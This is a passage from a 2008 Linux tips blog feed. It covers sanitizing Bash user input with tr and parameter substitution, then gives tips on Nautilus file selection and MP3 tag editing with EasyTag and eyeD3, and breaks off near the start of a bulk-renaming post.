<p>Notice, we use the <em>tr</em> command to delete everything except <em>alphanumeric</em> and <em>space</em> characters.  You can also perform further manipulation with any other command that comes to mind.  For example, if you would like to also limit the number of characters to 10, use the <em>cut</em> command.</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #7a0874; font-weight: bold;">export</span> <span style="color: #007800;">VAR_CLEAN</span>=<span style="color: #ff0000;">&quot;<span style="color: #780078;">`echo &quot;${VAR_INPUT}&quot; | tr -cd '[:alnum:] [:space:]' | cut -c -10`</span>&quot;</span></pre></div></div>

<p>I like using tr in this fashion, because instead of trying to exclude specific characters, you have the option to enforce a deny all policy, making it easier for you to allow only what you want.  </p>
<p>As one of our readers mentioned, there is an even simpler method using only Bash search and replace!  This eliminates the need for the execution of tr.  In the following example, we sanitize the input allowing for only alphanumeric characters and spaces.  I also show how to trim the string length to a maximum character limit of 10.</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#!/bin/bash</span>
<span style="color: #c20cb9; font-weight: bold;">read</span> <span style="color: #660033;">-p</span> <span style="color: #ff0000;">&quot;Enter variable: &quot;</span> VAR_INPUT
<span style="color: #666666; font-style: italic;"># Sanitize input and assign to new variable</span>
<span style="color: #7a0874; font-weight: bold;">export</span> <span style="color: #007800;">VAR_CLEAN_1</span>=<span style="color: #ff0000;">&quot;<span style="color: #007800;">${VAR_INPUT//[^a-zA-Z0-9 ]/}</span>&quot;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;New Variable 1: <span style="color: #007800;">${VAR_CLEAN_1}</span>&quot;</span>
<span style="color: #666666; font-style: italic;"># Sanitize input, assign to new variable but limit it to 10 characters</span>
<span style="color: #7a0874; font-weight: bold;">export</span> <span style="color: #007800;">VAR_CLEAN_2</span>=<span style="color: #ff0000;">&quot;<span style="color: #780078;">`echo &quot;${VAR_INPUT//[^a-zA-Z0-9 ]/}&quot; | cut -c -10`</span>&quot;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;New Variable 2: <span style="color: #007800;">${VAR_CLEAN_2}</span>&quot;</span></pre></div></div>

<p>For more information, be sure to check out the man pages for <em>tr</em> and take a look at the <a title="Advanced Bash-Scripting Guide" href="http://tldp.org/LDP/abs/html/" target="_blank"><em>Advanced Bash-Scripting Guide</em></a>.  Additional comments and ideas welcome!</p>

<div class="sociable">
<div class="sociable_tagline">
<strong>Share and Enjoy:</strong>
</div>
<ul>
	<li class="sociablefirst"><a rel="nofollow"  href="http://www.printfriendly.com/print?url=http%3A%2F%2Fsavvyadmin.com%2Fbash-user-input-validation%2F&amp;partner=sociable" title="Print"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/printfriendly.png" title="Print" alt="Print" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.facebook.com/share.php?u=http%3A%2F%2Fsavvyadmin.com%2Fbash-user-input-validation%2F&amp;t=Bash%20User%20Input%20Validation" title="Facebook"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://twitter.com/home?status=Bash%20User%20Input%20Validation%20-%20http%3A%2F%2Fsavvyadmin.com%2Fbash-user-input-validation%2F" title="Twitter"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/twitter.png" title="Twitter" alt="Twitter" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://delicious.com/post?url=http%3A%2F%2Fsavvyadmin.com%2Fbash-user-input-validation%2F&amp;title=Bash%20User%20Input%20Validation&amp;notes=If%20you%20are%20writing%20your%20latest%20and%20greatest%20Bash%20shell%20script%20that%20requires%20careful%20user%20input%2C%20then%20you%20are%20probably%20looking%20for%20a%20way%20to%20validate%20or%20sanitize%20the%20input%20before%20using%20the%20data%20in%20commands%20or%20subroutines.%20%20Here%27s%20an%20example%20shell%20scrip" title="del.icio.us"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/delicious.png" title="del.icio.us" alt="del.icio.us" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://savvyadmin.com/feed/" title="RSS"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/rss.png" title="RSS" alt="RSS" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fsavvyadmin.com%2Fbash-user-input-validation%2F&amp;title=Bash%20User%20Input%20Validation&amp;bodytext=If%20you%20are%20writing%20your%20latest%20and%20greatest%20Bash%20shell%20script%20that%20requires%20careful%20user%20input%2C%20then%20you%20are%20probably%20looking%20for%20a%20way%20to%20validate%20or%20sanitize%20the%20input%20before%20using%20the%20data%20in%20commands%20or%20subroutines.%20%20Here%27s%20an%20example%20shell%20scrip" title="Digg"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/digg.png" title="Digg" alt="Digg" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="mailto:?subject=Bash%20User%20Input%20Validation&amp;body=http%3A%2F%2Fsavvyadmin.com%2Fbash-user-input-validation%2F" title="email"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/email_link.png" title="email" alt="email" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2Fsavvyadmin.com%2Fbash-user-input-validation%2F&amp;title=Bash%20User%20Input%20Validation&amp;source=SavvyAdmin.com+For+savvy+admins+everywhere...&amp;summary=If%20you%20are%20writing%20your%20latest%20and%20greatest%20Bash%20shell%20script%20that%20requires%20careful%20user%20input%2C%20then%20you%20are%20probably%20looking%20for%20a%20way%20to%20validate%20or%20sanitize%20the%20input%20before%20using%20the%20data%20in%20commands%20or%20subroutines.%20%20Here%27s%20an%20example%20shell%20scrip" title="LinkedIn"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://identi.ca/notice/new?status_textarea=http%3A%2F%2Fsavvyadmin.com%2Fbash-user-input-validation%2F" title="Identi.ca"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/identica.png" title="Identi.ca" alt="Identi.ca" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2Fsavvyadmin.com%2Fbash-user-input-validation%2F&amp;title=Bash%20User%20Input%20Validation&amp;annotation=If%20you%20are%20writing%20your%20latest%20and%20greatest%20Bash%20shell%20script%20that%20requires%20careful%20user%20input%2C%20then%20you%20are%20probably%20looking%20for%20a%20way%20to%20validate%20or%20sanitize%20the%20input%20before%20using%20the%20data%20in%20commands%20or%20subroutines.%20%20Here%27s%20an%20example%20shell%20scrip" title="Google Bookmarks"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/googlebookmark.png" title="Google Bookmarks" alt="Google Bookmarks" class="sociable-hovers" /></a></li>
	<li class="sociablelast"><a rel="nofollow"  href="http://www.stumbleupon.com/submit?url=http%3A%2F%2Fsavvyadmin.com%2Fbash-user-input-validation%2F&amp;title=Bash%20User%20Input%20Validation" title="StumbleUpon"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/stumbleupon.png" title="StumbleUpon" alt="StumbleUpon" class="sociable-hovers" /></a></li>
</ul>
</div>


<p>Related posts:<ol><li><a href='http://savvyadmin.com/generate-text-from-templates-scripts-and-csv-data/' rel='bookmark' title='Permanent Link: Generate Text From Templates, Scripts and CSV Data'>Generate Text From Templates, Scripts and CSV Data</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://savvyadmin.com/bash-user-input-validation/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Nautilus File Selection</title>
		<link>http://savvyadmin.com/nautilus-file-selection/</link>
		<comments>http://savvyadmin.com/nautilus-file-selection/#comments</comments>
		<pubDate>Sun, 20 Jul 2008 09:55:34 +0000</pubDate>
		<dc:creator>gmendoza</dc:creator>
				<category><![CDATA[Tech Tips]]></category>
		<category><![CDATA[Gnome]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Nautilus]]></category>

		<guid isPermaLink="false">http://www.savvyadmin.com/?p=76</guid>
		<description><![CDATA[Nautilus, the default file manager used by Gnome desktop environment, sports many features that make every day use a real joy.  Here&#8217;s a brief look at the different file selection options available in Nautilus as of version 2.22.3. Multiple File Selections: You can select multiple file ranges with multiple &#8220;shift+click&#8221; combinations.  Other less advanced file [...]


Related posts:<ol><li><a href='http://savvyadmin.com/gnupg-context-menu-options-for-gnome-nautilus/' rel='bookmark' title='Permanent Link: GnuPG Context Menu Options for Gnome Nautilus'>GnuPG Context Menu Options for Gnome Nautilus</a></li>
<li><a href='http://savvyadmin.com/revelation-password-manager-for-gnome/' rel='bookmark' title='Permanent Link: Revelation Password Manager for Gnome'>Revelation Password Manager for Gnome</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Nautilus, the default file manager used by Gnome desktop environment, sports many features that make every day use a real joy.  Here&#8217;s a brief look at the different file selection options available in Nautilus as of version 2.22.3.</p>
<p><strong>Multiple File Selections:</strong><br />
You can select multiple file ranges with multiple &#8220;shift+click&#8221; combinations.  Other less advanced file managers typically lose focus on previously selected objects if you try to &#8220;shift+click&#8221; another set of files, but Nautilus handles this quite well.  The following screenshot demonstrates the feature.</p>
<p style="text-align: center;"><a href="http://www.savvyadmin.com/wp-content/uploads/2008/07/nautilus-select-1.png"><img class="size-medium wp-image-77 aligncenter" title="nautilus-select-1" src="http://www.savvyadmin.com/wp-content/uploads/2008/07/nautilus-select-1-300x214.png" alt="" width="300" height="214" /></a></p>
<p style="text-align: left;"><strong>Pattern Selection:</strong><br />
You can select files by patterns in their naming convention.  For example, if you would like to select only files with a particular extension, go to &#8220;<em>Edit&#8230; Select Pattern</em>&#8220;, or use the keyboard shortcut of &#8220;<em>Ctrl+S</em>&#8220;.  Type in a search pattern such as &#8220;<em>*.ogg</em>&#8221; and click OK.  The following screenshot shows the pattern select dialog.</p>
<p style="text-align: center;"><a href="http://www.savvyadmin.com/wp-content/uploads/2008/07/nautilus-select-2.png"><img class="size-medium wp-image-78 aligncenter" title="nautilus-select-2" src="http://www.savvyadmin.com/wp-content/uploads/2008/07/nautilus-select-2-300x214.png" alt="" width="300" height="214" /></a></p>
<p style="text-align: left;"><strong>Type-Ahead Search:</strong><br />
Simply typing text while focused in a Nautilus window will highlight the first matching file or folder name.  Taking this simple concept one step further, if you hit the keyboard <em>Up</em> or <em>Down</em> arrows, Nautilus will focus the next matching object.  Again, this is quite intuitive, since other file managers simply move the focus from the currently selected object to one that is immediately adjacent.  Keep hitting the <em>Up</em> and <em>Down</em> arrows to jump between matching objects.</p>
<p style="text-align: center;"><a href="http://www.savvyadmin.com/wp-content/uploads/2008/07/nautilus-select-3.png"><img class="size-medium wp-image-79 aligncenter" title="nautilus-select-3" src="http://www.savvyadmin.com/wp-content/uploads/2008/07/nautilus-select-3-300x218.png" alt="" width="300" height="218" /></a></p>
<p style="text-align: left;"><strong>Standard File Search:</strong><br />
Of course, when you just want to perform a standard file search, you can hit the <em>Search</em> button, or use the &#8220;Ctrl+F&#8221; keyboard shortcut.  The dialog is pretty simple to understand, and gives you a decent set of options to choose from.</p>
<p style="text-align: center;"><a href="http://www.savvyadmin.com/wp-content/uploads/2008/07/nautilus-select-4.png"><img class="size-medium wp-image-80 aligncenter" title="nautilus-select-4" src="http://www.savvyadmin.com/wp-content/uploads/2008/07/nautilus-select-4-300x214.png" alt="" width="300" height="214" /></a></p>
<p style="text-align: left;">Be sure to keep a lookout for many more exciting features from the Nautilus developers as they continue the trend of inovation at its finest.  Hope you found these quick tips useful for your daily Nautilus usage routine.</p>

<div class="sociable">
<div class="sociable_tagline">
<strong>Share and Enjoy:</strong>
</div>
<ul>
	<li class="sociablefirst"><a rel="nofollow"  href="http://www.printfriendly.com/print?url=http%3A%2F%2Fsavvyadmin.com%2Fnautilus-file-selection%2F&amp;partner=sociable" title="Print"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/printfriendly.png" title="Print" alt="Print" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.facebook.com/share.php?u=http%3A%2F%2Fsavvyadmin.com%2Fnautilus-file-selection%2F&amp;t=Nautilus%20File%20Selection" title="Facebook"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://twitter.com/home?status=Nautilus%20File%20Selection%20-%20http%3A%2F%2Fsavvyadmin.com%2Fnautilus-file-selection%2F" title="Twitter"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/twitter.png" title="Twitter" alt="Twitter" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://delicious.com/post?url=http%3A%2F%2Fsavvyadmin.com%2Fnautilus-file-selection%2F&amp;title=Nautilus%20File%20Selection&amp;notes=Nautilus%2C%20the%20default%20file%20manager%20used%20by%20Gnome%20desktop%20environment%2C%20sports%20many%20features%20that%20make%20every%20day%20use%20a%20real%20joy.%C2%A0%20Here%27s%20a%20brief%20look%20at%20the%20different%20file%20selection%20options%20available%20in%20Nautilus%20as%20of%20version%202.22.3.%0D%0A%0D%0AMultiple%20File%20" title="del.icio.us"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/delicious.png" title="del.icio.us" alt="del.icio.us" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://savvyadmin.com/feed/" title="RSS"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/rss.png" title="RSS" alt="RSS" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fsavvyadmin.com%2Fnautilus-file-selection%2F&amp;title=Nautilus%20File%20Selection&amp;bodytext=Nautilus%2C%20the%20default%20file%20manager%20used%20by%20Gnome%20desktop%20environment%2C%20sports%20many%20features%20that%20make%20every%20day%20use%20a%20real%20joy.%C2%A0%20Here%27s%20a%20brief%20look%20at%20the%20different%20file%20selection%20options%20available%20in%20Nautilus%20as%20of%20version%202.22.3.%0D%0A%0D%0AMultiple%20File%20" title="Digg"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/digg.png" title="Digg" alt="Digg" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="mailto:?subject=Nautilus%20File%20Selection&amp;body=http%3A%2F%2Fsavvyadmin.com%2Fnautilus-file-selection%2F" title="email"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/email_link.png" title="email" alt="email" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2Fsavvyadmin.com%2Fnautilus-file-selection%2F&amp;title=Nautilus%20File%20Selection&amp;source=SavvyAdmin.com+For+savvy+admins+everywhere...&amp;summary=Nautilus%2C%20the%20default%20file%20manager%20used%20by%20Gnome%20desktop%20environment%2C%20sports%20many%20features%20that%20make%20every%20day%20use%20a%20real%20joy.%C2%A0%20Here%27s%20a%20brief%20look%20at%20the%20different%20file%20selection%20options%20available%20in%20Nautilus%20as%20of%20version%202.22.3.%0D%0A%0D%0AMultiple%20File%20" title="LinkedIn"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://identi.ca/notice/new?status_textarea=http%3A%2F%2Fsavvyadmin.com%2Fnautilus-file-selection%2F" title="Identi.ca"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/identica.png" title="Identi.ca" alt="Identi.ca" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2Fsavvyadmin.com%2Fnautilus-file-selection%2F&amp;title=Nautilus%20File%20Selection&amp;annotation=Nautilus%2C%20the%20default%20file%20manager%20used%20by%20Gnome%20desktop%20environment%2C%20sports%20many%20features%20that%20make%20every%20day%20use%20a%20real%20joy.%C2%A0%20Here%27s%20a%20brief%20look%20at%20the%20different%20file%20selection%20options%20available%20in%20Nautilus%20as%20of%20version%202.22.3.%0D%0A%0D%0AMultiple%20File%20" title="Google Bookmarks"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/googlebookmark.png" title="Google Bookmarks" alt="Google Bookmarks" class="sociable-hovers" /></a></li>
	<li class="sociablelast"><a rel="nofollow"  href="http://www.stumbleupon.com/submit?url=http%3A%2F%2Fsavvyadmin.com%2Fnautilus-file-selection%2F&amp;title=Nautilus%20File%20Selection" title="StumbleUpon"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/stumbleupon.png" title="StumbleUpon" alt="StumbleUpon" class="sociable-hovers" /></a></li>
</ul>
</div>


<p>Related posts:<ol><li><a href='http://savvyadmin.com/gnupg-context-menu-options-for-gnome-nautilus/' rel='bookmark' title='Permanent Link: GnuPG Context Menu Options for Gnome Nautilus'>GnuPG Context Menu Options for Gnome Nautilus</a></li>
<li><a href='http://savvyadmin.com/revelation-password-manager-for-gnome/' rel='bookmark' title='Permanent Link: Revelation Password Manager for Gnome'>Revelation Password Manager for Gnome</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://savvyadmin.com/nautilus-file-selection/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MP3 Tag Editing in Linux</title>
		<link>http://savvyadmin.com/mp3-tag-editing-in-linux/</link>
		<comments>http://savvyadmin.com/mp3-tag-editing-in-linux/#comments</comments>
		<pubDate>Sun, 13 Jul 2008 05:36:19 +0000</pubDate>
		<dc:creator>gmendoza</dc:creator>
				<category><![CDATA[Tech Tips]]></category>
		<category><![CDATA[EasyTag]]></category>
		<category><![CDATA[eyeD3]]></category>
		<category><![CDATA[ID3]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[MP3]]></category>

		<guid isPermaLink="false">http://www.savvyadmin.com/?p=61</guid>
		<description><![CDATA[There&#8217;s a number of MP3 tag editors available for the Linux platform, but there are two I use exclusively. EasyTag by far is the easiest and probably the most popular graphical MP3 tag editors available, and I use it a great deal for a majority of my MP3 tagging and renaming functions. For quickly identifying, [...]


Related posts:<ol><li><a href='http://savvyadmin.com/rhythmbox-id3-tag-issues/' rel='bookmark' title='Permanent Link: Rhythmbox ID3 Tag Issues'>Rhythmbox ID3 Tag Issues</a></li>
<li><a href='http://savvyadmin.com/strip-all-unwanted-mp3-id3-tags/' rel='bookmark' title='Permanent Link: Strip All Unwanted MP3 ID3 Tags'>Strip All Unwanted MP3 ID3 Tags</a></li>
<li><a href='http://savvyadmin.com/amazon-mp3-downloader-for-linux/' rel='bookmark' title='Permanent Link: Amazon MP3 Downloader for Linux!'>Amazon MP3 Downloader for Linux!</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>There&#8217;s a number of MP3 tag editors available for the Linux platform, but there are two I use exclusively.  <a title="EasyTag Editor" href="http://easytag.sourceforge.net/" target="_blank">EasyTag</a> by far is the easiest and probably the most popular graphical MP3 tag editors available, and I use it a great deal for a majority of my MP3 tagging and renaming functions.  For quickly identifying, converting and stripping unwanted tags, I use a python based command line application called <a title="eyeD3 Tag Editor" href="http://eyed3.nicfit.net/" target="_blank">eyeD3</a>.</p>
<p>In my experience, <a title="EasyTag Editor" href="http://easytag.sourceforge.net/" target="_blank">EasyTag</a> is the most versatile tag editor available.  Some often wonder why on first launch that all of their tracks are highlighted in red and why it keeps prompting them to save changes that they didn&#8217;t make.  This is because by default EasyTag writes both v1.1 and v2.4 tags to files it touches, and will attempt to automatically upgrade all v2.3 tags it has scanned.  This behavior can be adjusted from &#8220;Settings&#8230; Preferences&#8230; ID3 Tag Settings&#8221;.  If you have a player that is not compatible with 2.4 tags, then this is the place to change it back to v2.3.  Uncheck the &#8220;<em>Automatically convert old ID3v2 tag versions</em>&#8221; option if you would like to stop that behavior.  Personally, I also remove the option to save ID3v1.x tags.</p>
<p><center><a href="http://www.savvyadmin.com/wp-content/uploads/2008/07/easytag-preferences.png"><img class="size-medium wp-image-66 aligncenter" style="vertical-align: middle;" title="easytag-preferences" src="http://www.savvyadmin.com/wp-content/uploads/2008/07/easytag-preferences-300x215.png" alt="EasyTag Preferences Window" width="300" height="215" /></a></center></p>
<p style="text-align: left;">It&#8217;s easy to get a bit overwhelmed with all the options EasyTag has to offer, but the defaults are typically safe to use.  Here&#8217;s a couple screenshots of the main user interface.</p>
<p><center><a href="http://www.savvyadmin.com/wp-content/uploads/2008/07/easytag-main.png"><img class="alignnone size-medium wp-image-68" title="easytag-main" src="http://www.savvyadmin.com/wp-content/uploads/2008/07/easytag-main-300x214.png" alt="EasyTag Main Window" width="300" height="214" /></a> <a href="http://www.savvyadmin.com/wp-content/uploads/2008/07/easytag-album-art.png"><img class="alignnone size-medium wp-image-69" title="easytag-album-art" src="http://www.savvyadmin.com/wp-content/uploads/2008/07/easytag-album-art-300x214.png" alt="EasyTag Album Art" width="300" height="214" /></a></center></p>
<p>Other useful features include the ability to perform bulk file and directory renaming based on the tag data, or even set the tags based on the directory and file naming convention.  You can clear all tags (be careful), and automatically populate tags from CDDB sources such as freedb.org, musicbrainz.org, and gnudb.org.</p>
<p>There are also a slew of command line tag editors each with their own strengths and weaknesses.  The lack of 2.4 support plagues most of them, with the exception of <a title="eyeD3 Website" href="http://eyed3.nicfit.net/" target="_blank">eyeD3</a>.  This application is wicked cool.  Not only does it support v2.4 tags but it also provides a very clean display of current tags using color and bold text.  You can attach album art, add new or modify existing tags, and of course is easily scriptable.</p>

<div class="sociable">
<div class="sociable_tagline">
<strong>Share and Enjoy:</strong>
</div>
<ul>
	<li class="sociablefirst"><a rel="nofollow"  href="http://www.printfriendly.com/print?url=http%3A%2F%2Fsavvyadmin.com%2Fmp3-tag-editing-in-linux%2F&amp;partner=sociable" title="Print"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/printfriendly.png" title="Print" alt="Print" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.facebook.com/share.php?u=http%3A%2F%2Fsavvyadmin.com%2Fmp3-tag-editing-in-linux%2F&amp;t=MP3%20Tag%20Editing%20in%20Linux" title="Facebook"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://twitter.com/home?status=MP3%20Tag%20Editing%20in%20Linux%20-%20http%3A%2F%2Fsavvyadmin.com%2Fmp3-tag-editing-in-linux%2F" title="Twitter"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/twitter.png" title="Twitter" alt="Twitter" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://delicious.com/post?url=http%3A%2F%2Fsavvyadmin.com%2Fmp3-tag-editing-in-linux%2F&amp;title=MP3%20Tag%20Editing%20in%20Linux&amp;notes=There%27s%20a%20number%20of%20MP3%20tag%20editors%20available%20for%20the%20Linux%20platform%2C%20but%20there%20are%20two%20I%20use%20exclusively.%20%20EasyTag%20by%20far%20is%20the%20easiest%20and%20probably%20the%20most%20popular%20graphical%20MP3%20tag%20editors%20available%2C%20and%20I%20use%20it%20a%20great%20deal%20for%20a%20majority%20of%20m" title="del.icio.us"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/delicious.png" title="del.icio.us" alt="del.icio.us" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://savvyadmin.com/feed/" title="RSS"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/rss.png" title="RSS" alt="RSS" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fsavvyadmin.com%2Fmp3-tag-editing-in-linux%2F&amp;title=MP3%20Tag%20Editing%20in%20Linux&amp;bodytext=There%27s%20a%20number%20of%20MP3%20tag%20editors%20available%20for%20the%20Linux%20platform%2C%20but%20there%20are%20two%20I%20use%20exclusively.%20%20EasyTag%20by%20far%20is%20the%20easiest%20and%20probably%20the%20most%20popular%20graphical%20MP3%20tag%20editors%20available%2C%20and%20I%20use%20it%20a%20great%20deal%20for%20a%20majority%20of%20m" title="Digg"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/digg.png" title="Digg" alt="Digg" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="mailto:?subject=MP3%20Tag%20Editing%20in%20Linux&amp;body=http%3A%2F%2Fsavvyadmin.com%2Fmp3-tag-editing-in-linux%2F" title="email"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/email_link.png" title="email" alt="email" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2Fsavvyadmin.com%2Fmp3-tag-editing-in-linux%2F&amp;title=MP3%20Tag%20Editing%20in%20Linux&amp;source=SavvyAdmin.com+For+savvy+admins+everywhere...&amp;summary=There%27s%20a%20number%20of%20MP3%20tag%20editors%20available%20for%20the%20Linux%20platform%2C%20but%20there%20are%20two%20I%20use%20exclusively.%20%20EasyTag%20by%20far%20is%20the%20easiest%20and%20probably%20the%20most%20popular%20graphical%20MP3%20tag%20editors%20available%2C%20and%20I%20use%20it%20a%20great%20deal%20for%20a%20majority%20of%20m" title="LinkedIn"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://identi.ca/notice/new?status_textarea=http%3A%2F%2Fsavvyadmin.com%2Fmp3-tag-editing-in-linux%2F" title="Identi.ca"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/identica.png" title="Identi.ca" alt="Identi.ca" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2Fsavvyadmin.com%2Fmp3-tag-editing-in-linux%2F&amp;title=MP3%20Tag%20Editing%20in%20Linux&amp;annotation=There%27s%20a%20number%20of%20MP3%20tag%20editors%20available%20for%20the%20Linux%20platform%2C%20but%20there%20are%20two%20I%20use%20exclusively.%20%20EasyTag%20by%20far%20is%20the%20easiest%20and%20probably%20the%20most%20popular%20graphical%20MP3%20tag%20editors%20available%2C%20and%20I%20use%20it%20a%20great%20deal%20for%20a%20majority%20of%20m" title="Google Bookmarks"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/googlebookmark.png" title="Google Bookmarks" alt="Google Bookmarks" class="sociable-hovers" /></a></li>
	<li class="sociablelast"><a rel="nofollow"  href="http://www.stumbleupon.com/submit?url=http%3A%2F%2Fsavvyadmin.com%2Fmp3-tag-editing-in-linux%2F&amp;title=MP3%20Tag%20Editing%20in%20Linux" title="StumbleUpon"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/stumbleupon.png" title="StumbleUpon" alt="StumbleUpon" class="sociable-hovers" /></a></li>
</ul>
</div>


<p>Related posts:<ol><li><a href='http://savvyadmin.com/rhythmbox-id3-tag-issues/' rel='bookmark' title='Permanent Link: Rhythmbox ID3 Tag Issues'>Rhythmbox ID3 Tag Issues</a></li>
<li><a href='http://savvyadmin.com/strip-all-unwanted-mp3-id3-tags/' rel='bookmark' title='Permanent Link: Strip All Unwanted MP3 ID3 Tags'>Strip All Unwanted MP3 ID3 Tags</a></li>
<li><a href='http://savvyadmin.com/amazon-mp3-downloader-for-linux/' rel='bookmark' title='Permanent Link: Amazon MP3 Downloader for Linux!'>Amazon MP3 Downloader for Linux!</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://savvyadmin.com/mp3-tag-editing-in-linux/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Rename Files in Bulk from the Command Line</title>
		<link>http://savvyadmin.com/rename-files-in-bulk-from-the-command-line/</link>
		<comments>http://savvyadmin.com/rename-files-in-bulk-from-the-command-line/#comments</comments>
		<pubDate>Mon, 07 Jul 2008 01:22:27 +0000</pubDate>
		<dc:creator>gmendoza</dc:creator>
				<category><![CDATA[Tech Tips]]></category>
		<category><![CDATA[CLI]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Rename]]></category>

		<guid isPermaLink="false">http://www.savvyadmin.com/?p=59</guid>
		<description><![CDATA[Renaming a large number of files can seem like a daunting task, but no worries, your trusty Linux CLI is at your service. For this example, we will rename a number of MP3&#8242;s located in multiple subdirectories with a couple very easy commands; &#8220;find&#8221; and &#8220;rename&#8221;. By listing the following directory, you&#8217;ll see that the [...]


Related posts:<ol><li><a href='http://savvyadmin.com/vim-in-color/' rel='bookmark' title='Permanent Link: Vim in Color'>Vim in Color</a></li>
<li><a href='http://savvyadmin.com/split-and-reassemble-files/' rel='bookmark' title='Permanent Link: Split and Reassemble Files'>Split and Reassemble Files</a></li>
<li><a href='http://savvyadmin.com/rar-and-unrar-from-linux-cli/' rel='bookmark' title='Permanent Link: RAR and UNRAR from Linux CLI'>RAR and UNRAR from Linux CLI</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Renaming a large number of files can seem like a daunting task, but no worries, your trusty Linux CLI is at your service.  For this example, we will rename a number of MP3&#8242;s located in multiple subdirectories with a couple very easy commands; &#8220;find&#8221; and &#8220;rename&#8221;.</p>
<p>By listing the following directory, you&#8217;ll see that the MP3&#8242;s have been named with &#8220;(LP Version)&#8221;, and of course I don&#8217;t like this naming convention.</p>
